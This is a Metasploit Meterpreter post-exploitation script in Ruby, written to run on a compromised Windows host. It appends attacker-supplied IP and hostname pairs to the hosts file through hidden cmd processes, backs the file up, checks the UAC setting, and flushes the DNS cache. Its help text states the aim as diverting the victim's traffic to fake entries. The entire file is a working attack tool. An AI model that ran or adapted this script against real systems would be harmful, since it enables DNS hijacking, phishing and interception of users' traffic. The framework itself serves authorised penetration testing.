metasploit-framework/scripts/meterpreter/hostsedit.rb

#Meterpreter script for modifying the hosts file in windows
#given a single entrie or several in a file and clear the 
#DNS cache on the target machine.
#This script works with Windows 2000,Windows XP,Windows 2003,
#Windows Vista and Windows 2008.
#Provided: carlos_perez[at]darkoperator[dot]com
#Verion: 0.1.0
#Note: in Vista UAC must be disabled to be able to perform hosts
#file modifications.
################## Variable Declarations ##################
session = client
# Setting Arguments
@@exec_opts = Rex::Parser::Arguments.new(
	"-h" => [ false,"Help Options."                        ],
	"-e" => [ true,"Host entry in the format of IP,Hostname."],
	"-l" => [ true,"Text file with list of entries in the format of IP,Hostname. One per line."]
)
record = ""
#Set path to the hosts file
hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts"
#Function check if UAC is enabled
def checkuac(session)
	winver = session.sys.config.sysinfo
	if winver["OS"] =~ (/Windows Vista/)
		print_status("Checking if UAC is enabled.")
		open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
		value = open_key.query_value("EnableLUA").data
		if value == 1
			print_status("\tUAC is enabled")
			raise "Unable to continue UAC is enabbled."
		else
			print_status("\tUAC is disabled")
			status = false
		end
	end
end
#Function for adding record to hosts file
def add2hosts(session,record,hosts)
	ip,host = record.split(",")
	print_status("Adding Record for Host #{host} with IP #{ip}")
	session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
end

#Make a backup of the hosts file on the target
def backuphosts(session,hosts)
	random = sprintf("%.5d",rand(100000))
	print_status("Making Backup of the hosts file.")
	session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
	print_status("Backup loacated in #{hosts}#{random}.back")
end
# Clear DNS Cached entries
def cleardnscach(session)
	print_status("Clearing the DNS Cache")
	session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
end
#Help Message
def helpmsg
	puts "This Meterpreter script is for adding entries in to the Windows Hosts file."
	puts "Since Windows will check first the Hosts file instead of the configured DNS Server"
	puts "it will assist in diverting traffic to the fake entry or entries. Either a single"
	puts "entry can be provided or a series of entries provided a file with one per line."
	puts @@exec_opts.usage
	puts "Example:\n\n"
	puts "run hostsedit -e 127.0.0.1,google.com\n"
	puts "run hostsedit -l /tmp/fakednsentries.txt\n\n"
end

@@exec_opts.parse(args) { |opt, idx, val|
	case opt
	when "-e"
		checkuac(session)
		backuphosts(session,hosts)
		add2hosts(session,val,hosts)
		cleardnscach(session)
	when "-l"	
		checkuac(session)
		if not ::File.exists?(val)
			raise "File #{val} does not exists!"
	       	else
			backuphosts(session,hosts)
	    		::File.open(val, "r").each_line do |line|
				add2hosts(session,line.chomp,hosts)
			end
			cleardnscach(session)
		end
	when "-h"
		helpmsg
	end
}
if args.length == 0
	helpmsg
end